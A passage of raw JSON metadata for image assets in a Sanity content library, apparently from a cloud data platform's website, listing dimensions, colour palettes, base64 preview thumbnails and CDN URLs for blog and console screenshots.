Cdj2RiTmexnoaiSWiVjcMArxr3mssTCgPrHC1K9uhAlmJZFPfhhh5WmRLCNIu1BBI84o3424WCns7HzJnhmz2lzSLNYtfNy7D7DwQOusMq9brqleBkggVFLliB+4ZdZsQySsyLoE9DQzEhidIwrHZHs5//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5b3b68","foreground":"#fff","population":0.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#151e68","foreground":"#fff","population":11.54,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":11.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b598a6","foreground":"#000","population":1.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb9235","foreground":"#000","population":10.52,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a36149","foreground":"#fff","population":0.48,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":11.71,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"7_Ways_to_Optimize_Your_Cloud_Infrastructure_Costs_meta_preview_1200x630_1.jpg","path":"images/sczeoy4w/production/1391ddb8627f701ae9b01d788dbdda840ae3202c-1200x630.jpg","sha1hash":"1391ddb8627f701ae9b01d788dbdda840ae3202c","size":146326,"uploadId":"GKkNIOTafzvxt36tBiv3ahPjBkPHkZq6","url":"https://cdn.sanity.io/images/sczeoy4w/production/1391ddb8627f701ae9b01d788dbdda840ae3202c-1200x630.jpg"} {"_createdAt":"2023-01-16T13:57:39Z","_id":"image-13e4ce598be792b5daa02c480eced089ac6e34c8-1714x2400-jpg","_rev":"VgCVQRVoWMx60S7mY1uZSC","_type":"sanity.imageAsset","_updatedAt":"2023-01-16T13:57:39Z","assetId":"13e4ce598be792b5daa02c480eced089ac6e34c8","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dhIr1_oL%$W=~qoco}of56WXMwodW?ayenay-;jus:j[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7141666666666666,"height":2400,"width":1714},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAcABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAYHBQj/xAAoEAABAwQBAgUFAAAAAAAAAAABAgMEAAURIRIGEwcIMlFhIjFBcbH/xAAXAQEBAQEAAAAAAAAAAAAAAAAEAwAC/8QAHREAAgICAwEAAAAAAAAAAAAAAQIAAxEhBBIxYf/aAAwDAQACEQMRAD8AonVMt+1wmG4SEqmyl9trn6QfyTWTBn3S2zo0e+ux5KZK+IU0OPAn+imzxAtLT1oYkvEpRGc5Eg4ODqp9DtYkdWW1lptz1pU2SvlobNcPYwsAB1EVUo1JY+ygOQsLOqKZnYf1nVFLzATkG4eKXUNyu4mT3w8xsGKNN49sVjXnreUJrMuxqkwpDZyFdzPH4HxSxEJUkA00Jt0VbbZLQynBz70jkrTWQ7Lv5IryLFUrnUdLV5iOo4kJDM2LGlvJ0XVDBP7opBuduirk8u2BlI+2qKkt9TDPWbuZ/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#284840","foreground":"#fff","population":0.34,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041f4f","foreground":"#fff","population":5.47,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcc3d0","foreground":"#000","population":6.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcc3d0","foreground":"#000","population":6.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d59e84","foreground":"#000","population":5.72,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#907857","foreground":"#fff","population":3.95,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c5ca4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"KC+CNC_NA_headshot_221026_Jonah_Kowall_1562.jpg","path":"images/sczeoy4w/production/13e4ce598be792b5daa02c480eced089ac6e34c8-1714x2400.jpg","sha1hash":"13e4ce598be792b5daa02c480eced089ac6e34c8","size":2842516,"uploadId":"Kts0Dw0UBCtJWKyWG5TbQOaeET3hUtnR","url":"https://cdn.sanity.io/images/sczeoy4w/production/13e4ce598be792b5daa02c480eced089ac6e34c8-1714x2400.jpg"} {"_createdAt":"2024-05-20T09:18:24Z","_id":"image-13e9ac5779b1f64c3f6438186393320c3ee6fb15-3452x2062-png","_rev":"CK5Oetwu6foT4G1mbNZEf0","_type":"sanity.imageAsset","_updatedAt":"2024-05-20T09:18:24Z","assetId":"13e9ac5779b1f64c3f6438186393320c3ee6fb15","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5S?AOsp-:.8-:~qRlM{V]a{%2R*M{n+R%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6741028128031037,"height":2062,"width":3452},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABV0lEQVQokW2Si67jIAxE+//fum0TsD1+wl1CWmlXd2QlMfjI4MnDzAAVGDTMIiLGGGPO9VzvWzsde2WMnT+qytT62dvZVa2qaoyoEbk+V92cVTO8MmvBo2blXn/MOcOCnu18HiLIzMgieCMAlplVw7SoOcQyotyH6cy84fSSt7RXZ4Gbm+rR5XkSsbh7RELrOI0Ibhbu5Taqbrh8cPP25gs2FXk3+nMQMdw9M8XzRegkZp6Rm/zAOSDRGjOLm7sZdT1P4Q+M8EOYBO5x3/wLjypVZWLBqg5PYacOQFeyOtvBxPgNnuWBpkJ2eeWRna116LYuk9VfjRvxVbBGuPEbThwqbe1lRqSw9saAXmxZJMOhK72s/K+znuBT13aGh7NKYxHYdc5PXNYv9p87pxsAWc5ecjWFQtXsGsKt2JGZm9/TTgDMwkuyOkIV67f9xiUDTNXc1+H/wj+hR77agHrf1AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#474049","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#177793","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ecc65d","foreground":"#000","population":0.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#99a5c9","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ce9df4","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#57aa98","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecc65d","foreground":"#000","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"console-create-services.png","path":"images/sczeoy4w/production/13e9ac5779b1f64c3f6438186393320c3ee6fb15-3452x2062.png","sha1hash":"13e9ac5779b1f64c3f6438186393320c3ee6fb15","size":157026,"uploadId":"ow2lWn1tefOVnsDJGWIh8PsJolKZxG65","url":"https://cdn.sanity.io/images/sczeoy4w/production/13e9ac5779b1f64c3f6438186393320c3ee6fb15-3452x2062.png"} {"_createdAt":"2022-11-22T11:40:12Z","_id":"image-13f52fb22318974c68c4f1fb10eac1176597984a-1600x734-png","_rev":"PJutSls1mvFq6xuKwWfCWX","_type":"sanity.imageAsset","_updatedAt":"2022-11-22T11:40:12Z","assetId":"13f52fb22318974c68c4f1fb10eac1176597984a","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1798365122615806,"height":734,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAABcklEQVQokS2QWW7cMBBEdf/DJUGA2Ejs2ENJJHvhIkpcJJKaBJoxUCi8Xuqje/Drye5E28l1vOCkhy5+9NH1y+3XCN3JvvtwrvHf4JYTuRAGwxuaY4I26jpj1dwkNQWJMRiTwLQR2qgOSRVsY9ddOAe7dKawoiyegt+kzqMsmnbjK3BBbTaciufFp0llMWfkwy2NXTO+XWHDIbLsAYpDVFZDcr66pQJE0pR56otKFrV0ErJ/jNAc5OoVJtoWwmJVVB8gpIbEts6wv982OduNsZh5lX+VQKkzmWNU+8dU0NbBhY6UCJzVYMRNCZhkntTxJvLLexynYMA5DSzELMwo86j2P7fydito6uBDZ7sTJ+aNcUVMmg5NVcI+yqwhGc6GI+EKlBXuEvZZl1kXoDKErbulPY+83Fd7cbu+Yndjdx++SrtUwPgp+FPwbbSzCkPM9y3dt3Reig9dfI/5vsb+5OfCGk+p/Y+fv799f/318ikm8x83wPYjy5YaxAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c2c5a","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#344474","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6c718a","foreground":"#fff","population":0.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6a89d","foreground":"#000","population":0.35,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fccc7c","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c718a","foreground":"#fff","population":0.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec8830","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-simply-explained-event-approach.png","path":"images/sczeoy4w/production/13f52fb22318974c68c4f1fb10eac1176597984a-1600x734.png","sha1hash":"13f52fb22318974c68c4f1fb10eac1176597984a","size":24213,"uploadId":"8fa6zrLauo6uqZz6K72gz4XFnRpJhQ0O","url":"https://cdn.sanity.io/images/sczeoy4w/production/13f52fb22318974c68c4f1fb10eac1176597984a-1600x734.png"} {"_createdAt":"2022-06-15T20:02:14Z","_id":"image-1407e663d03b3b25b049fd4b43336238b8db1083-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEd3RZ","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:23Z","assetId":"1407e663d03b3b25b049fd4b43336238b8db1083","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MURCJPpyx.IAxdL4eln*W=ob%JM_M#%1S^","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADDElEQVQokT3OS28bZRSA4flPSMCWX9AFQkJCQqrErt0UCaGqbrhUQlC1ikCliwpKmpYkYzuhtVGEQpwol9YhODHxxIlnPB57xvZcvu/MfexJ7Mw5yJsunu2rV9B61udtdfCbovbX5LZRkNtGUevZRdMOigySt/gMj4vcCQtgB0vAowXgwVPuuM84C/Ic4mcc4jmhpei/nkiyclQ/8/49kvhhrQEnkgK6wYBBDNwdAYcEOIvANBzQ5C7o2oCBxeyoVbWj6ortN2vgWqABD1YFY8ALWs9y250hKWqf5LZBqjakoekRdxNy/TH5YUqMedSoS7S9uUUH1UNSJYncygKlK7dptFumQLdCn8GmwCARGSSMQUIOjzOHxzjDIEHwRhiGY0yiFHXVwNJaCRcXF7FULuPOxga2/sxjsL6UjY9rFPVNL3TMDYG7icjdEefuaHaEsyvuxgQQkQchBU5IoRxSa03B5/d+p8cPH6MoilgulfFgexdN6QxjvUuJpfuJbWwIHGKRQ8w5RAQQIkBALvfJ4y75NiNPYeS+9Ei/a9HWjde08l2B8i9EWi0s09Zff1Cn/jfGnW1K9b0gNf7ZEgAC0QWfe9ybRTKfc/QZw4DZGDomBqcW+r94CF/62Pm6hQdPSlhZnsfK0hf4ZvkGtsu3MN6fo+l/89H07ElV8BkTfcdhvmNT4FhZ6AwxcgYYO31MbB2TloFx2UJ/Ucb+8ioqqznsvfoY7ZcfoL30DtpP388S8UO62r4dZI2f94RIV/NeV3F5TyF/0KHE6tLI1mhsdSi12pQabbqQFRrV9wh2fyReuUXpznXKKtfosvgejRfepYvidZruPwozeb0iJHL9kdusHZvnxzp0m+rIVJTUUuQLsyVfmufyxGzKk6EkT7p78sVZXr48XVCzxrx+tX+zPyld0ydrH3WnO9/r2fl6A/XD58K4K30SdU6+8rXG/cho3kvN1t1L8/zOxGzmJsPT3HTYyF0NTnJZ/+hOZhzm0Kh+i60XD/HNzZ+yzU8fZPtzP2Azfx/119/goPbZ/xBj7CNjWQETAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d4732","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#805503","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8aa18","foreground":"#000","population":5.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4bcae","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcdd5d","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8b578e","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8aa18","foreground":"#000","population":5.9,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"1407e663d03b3b25b049fd4b43336238b8db1083-1567x844.png","path":"images/sczeoy4w/production/1407e663d03b3b25b049fd4b43336238b8db1083-1567x844.png","sha1hash":"1407e663d03b3b25b049fd4b43336238b8db1083","size":307740,"uploadId":"YQ6nYWv0JgnOWJr7zYXREMKbqjfI4O6E","url":"https://cdn.sanity.io/images/sczeoy4w/production/1407e663d03b3b25b049fd4b43336238b8db1083-1567x844.png"} {"_createdAt":"2024-05-20T07:14:39Z","_id":"image-1425732ff6594c27532d2b740a2cfd1a9d59576b-3266x1810-jpg","_rev":"5dKvdU2b7V4fiIIxYxKmga","_type":"sanity.imageAsset","_updatedAt":"2024-05-20T07:14:39Z","assetId":"1425732ff6594c27532d2b740a2cfd1a9d59576b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4Ss1^02ID_4%N^,IBV[s:axV=t6obRjaK","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8044198895027623,"height":1810,"width":3266},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAMBAgQI/8QAHRAAAwEAAgMBAAAAAAAAAAAAAQIRACExEzJBUf/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/8QAFREBAQAAAAAAAAAAAAAAAAAAAAH/2gAMAwEAAhEDEQA/AOmFQ+VEpHF42xFaCtlQW/f3WUm9nWhpoPrjQOsaD//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#393639","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c4c6c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a5b4ca","foreground":"#000","population":0.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5b4ca","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#91c0ec","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c9e8c","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c42c6c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-console-integrate-endpoints.jpg","path":"images/sczeoy4w/production/1425732ff6594c27532d2b740a2cfd1a9d59576b-3266x1810.jpg","sha1hash":"1425732ff6594c27532d2b740a2cfd1a9d59576b","size":471886,"uploadId":"MGhgBpmjQPND348LvrrDNgsj0KKq5nh5","url":"https://cdn.sanity.io/images/sczeoy4w/production/1425732ff6594c27532d2b740a2cfd1a9d59576b-3266x1810.jpg"} {"_createdAt":"2023-01-31T10:39:48Z","_id":"image-1438e4d5dacee09926dffa0f1f35640a52b84352-1259x728-png","_rev":"iop8tFFqgfe67JrEak2gHP","_type":"sanity.imageAsset","_updatedAt":"2023-01-31T10:51:09Z","altText":null,"assetId":"1438e4d5dacee09926dffa0f1f35640a52b84352","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7293956043956045,"height":728,"width":1259},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABSklEQVQokX2Sy24UMRRE/f8/FhYgvoAkGwKkafy670cP8jQjDUqU0ll44apb13JpIK+dXjsDqVp8jCz8enY1L23CttdtrxPQPTIz8ngX80TxwTbJJ9sEKm2Mfd9rrUSUmcfS5S2ZB1sM9sE+F9oHlD5mbQ0Rzfxm/k+ZC/VoaI2MLMRTzBG5ANAYE4nNIiJjKRd5I9I9Wb2BVBCUYEtSJ9bCrERMxMxyoqor4Dj+cZ3skSg2UICNLZZZtLCYqDILIp2ISERc7nQcF48UdUBaHT3cQ1TLJBE1NVM9UTsXuJP5OcrmhDGmqi2zaNkadmBiYRGWVWEheg+yAAmR9D72/c+cICITsGyN6uSJDEiAtFL45qF1A4DwjGPZfu/fHp+enp9rba2PQuLr36gBIiCtyrd3FtHex5hwrRks+vPX9vnL14eHT99ffrDIXwJ+friuOmCuAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3e3e","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#264b5d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7794af","foreground":"#fff","population":0.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adc4d1","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b1dcf4","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7794af","foreground":"#fff","population":0.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#84b4cc","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"blog-kafka-mastodon-2-is-a-poll.png","path":"images/sczeoy4w/production/1438e4d5dacee09926dffa0f1f35640a52b84352-1259x728.png","sha1hash":"1438e4d5dacee09926dffa0f1f35640a52b84352","size":33465,"title":null,"uploadId":"r7XWww8aLnBxag23OGZQC7bdQ2oU02Tu","url":"https://cdn.sanity.io/images/sczeoy4w/production/1438e4d5dacee09926dffa0f1f35640a52b84352-1259x728.png"} {"_createdAt":"2024-06-10T17:11:05Z","_id":"image-1443d07f1f8d686b6ac4e6915cde2c0821c580ea-1000x667-jpg","_rev":"50GAuUARqeR0zNS5G15OVr","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T17:11:05Z","assetId":"1443d07f1f8d686b6ac4e6915cde2c0821c580ea","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VAFrt@0000?bIU~pRiWBogR%kWD%tRt7M{%MV@%gkCM{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4992503748125936,"height":667,"width":1000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUHBv/EACMQAAICAgECBwAAAAAAAAAAAAECAwQABRESYQYUISJBkdH/xAAVAQEBAAAAAAAAAAAAAAAAAAACAP/EABYRAQEBAAAAAAAAAAAAAAAAAAARAf/aAAwDAQACEQMRAD8AWal7BURrEOo+h5PGbGKwNdTl8sCkkcX2ck3hrYWNgIo7LlnUBRJ8jKNV1xjohWszSMV46nPODMh0pk38zTzMzurM/JHfgYYm3d2ahtrUURVlL9XuHYfmGK6o/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#464341","foreground":"#fff","population":4.77,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4b3b39","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#847e79","foreground":"#fff","population":5.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4b4b2","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c5b5b3","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#847e79","foreground":"#fff","population":5.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90726e","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"86965-preview_low_1213-2_86965_sc_v2com.jpg","path":"images/sczeoy4w/production/1443d07f1f8d686b6ac4e6915cde2c0821c580ea-1000x667.jpg","sha1hash":"1443d07f1f8d686b6ac4e6915cde2c0821c580ea","size":217580,"uploadId":"b8t4EhPuTpMy36ZWfCurwabOO02ueBnE","url":"https://cdn.sanity.io/images/sczeoy4w/production/1443d07f1f8d686b6ac4e6915cde2c0821c580ea-1000x667.jpg"} {"_createdAt":"2024-01-26T12:55:56Z","_id":"image-1445acc13446fa13121f2d31c54855e0f50a7c87-4000x2661-png","_rev":"lhvtNBOlLYH5KiQFQ5mRuZ","_type":"sanity.imageAsset","_updatedAt":"2024-01-26T12:55:56Z","assetId":"1445acc13446fa13121f2d31c54855e0f50a7c87","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VKL|ic}?*0IU9v?v$zXUIUS6Fgj=v|M|s.Dis;xsV@WC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5031942878617062,"height":2661,"width":4000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAADFElEQVQokS3L207bZgAAYL/DJlWatIutu+ruV03aA2yV1l20SltGE2CFdVNhFQNR2gHJSAJtDoZCsoQQEjuJE8exc/QhtuP8xomB4NgOTlh3Cts0TeoFrH2DadK++w/StMOeJptC1ijAfyrE6zP91ctfLFOu4EguEfM75+fsn03f+fT+XZvP46KKBVqSGVmjgc4AC9INrX9yZAHSKAR/l5B/XjT/Hh60AFrDfCQW+m5p/vORWyO3bfY7ts3175kKxUoys9+lgcHIfajXM08HuqWU9XzgjAufG6W/TkWFj7AZVwUPPlmZHxlzjDjGxsfupkI+VawJTZmRuzQw2f9z3zhp0Xphc8iFL7rUyx+bpojIKZecd+/AM0uPJhbm7i9++6CGxQxVlMB/md3vcUofMk1z0Dd7B4JeigzrOxd66fy0+UJIHiYe6tnxdsbGI/ZacrYUdx6x6d6hKAHAKd162+LbfcgwDMvqGaqoUZHfmPCFTr36uXUGUsc7o8ehq3r8gxPs4wHlGJS/+anx3FIrUoOrNfbLvELSEqQdH5tdTZPoThb+teQ/P8Jenzb/AEl14zr/6G1u8S3ReVlZu9LZ/HBQmLGaKYHBiUImtht5Dvugg2b9UKy2qIQad/bRx8OSb8jGTnCvsPoJ/vU7yS8uJSfezEy+UZ59tx0a7RQ3WeIHPBOKR30h/zLULkTlTEDa84DwfMM/VVubpDxfYcvjkelrzxxXl2++v3j9PefNK/DUR5kVe3X7cXHXnUeDeGqLQLcggK4DxN1AvLXIStLzEF78cn1u0jUzsTA1Ou24de/2jTHbjSm7Y/bBjOfJQhJeoeIeAlnHk09JJADxWVimwlIxWkxvI5FAPOSPhQLhDX/w6ZrX7Xa63EtOz/Kqb/XZ1sZWJItG6Xy4kg2SqJfcc0FCMQroxD6HNmkU1FItLqeKBblO1MvpKpGgcvE8totjeySRZqskYEmpinBkuJoLltNeSCzHAJ1ocajKpzsCpgOi1y7pCqUKGKATYjlep2J1ak+sZNp8sSNWFDbNF6MMsV3Nwf8CCIn0FgtXlM0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#706b3e","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#794628","foreground":"#fff","population":2.39,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#aa681b","foreground":"#fff","population":6.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bac5d8","foreground":"#000","population":5.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ebc59f","foreground":"#000","population":5,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a07259","foreground":"#fff","population":2.51,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#aa681b","foreground":"#fff","population":6.76,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image (3).png","path":"images/sczeoy4w/production/1445acc13446fa13121f2d31c54855e0f50a7c87-4000x2661.png","sha1hash":"1445acc13446fa13121f2d31c54855e0f50a7c87","size":3389655,"uploadId":"PFCLqbMJm9UOAFCMCFVUCOMM5TcGl1fL","url":"https://cdn.sanity.io/images/sczeoy4w/production/1445acc13446fa13121f2d31c54855e0f50a7c87-4000x2661.png"} {"_createdAt":"2023-09-21T08:33:12Z","_id":"image-145f5e9e094ad61719c6c39dfe1ddd89a7ced55b-1200x628-jpg","_rev":"OlHhyDbudqKag6cjy1utx8","_type":"sanity.imageAsset","_updatedAt":"2023-09-21T08:33:12Z","assetId":"145f5e9e094ad61719c6c39dfe1ddd89a7ced55b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M77K.Q?OI9M_WB_4xuInWXWYD%IUt6%Maw","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGgAAAQUBAAAAAAAAAAAAAAAAAAECAwQFB//EAB8QAAEEAQUBAAAAAAAAAAAAAAEAAgMEBRESEyIyIf/EABYBAQEBAAAAAAAAAAAAAAAAAAQCBv/EABoRAQABBQAAAAAAAAAAAAAAAAABAgMSQWH/2gAMAwEAAhEDEQA/AOQY6xiRShbMxvMB2JYlyV2qOlKKFzCNCdmhBWGCeCNPi9rU2Y2JUsAMPr4UKJ/ooSsuIf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a3462","foreground":"#fff","population":0.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#132470","foreground":"#fff","population":11.24,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#132470","foreground":"#fff","population":11.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4dbea","foreground":"#000","population":6.35,"title":"#000"},"lightVibrant":{"_type":"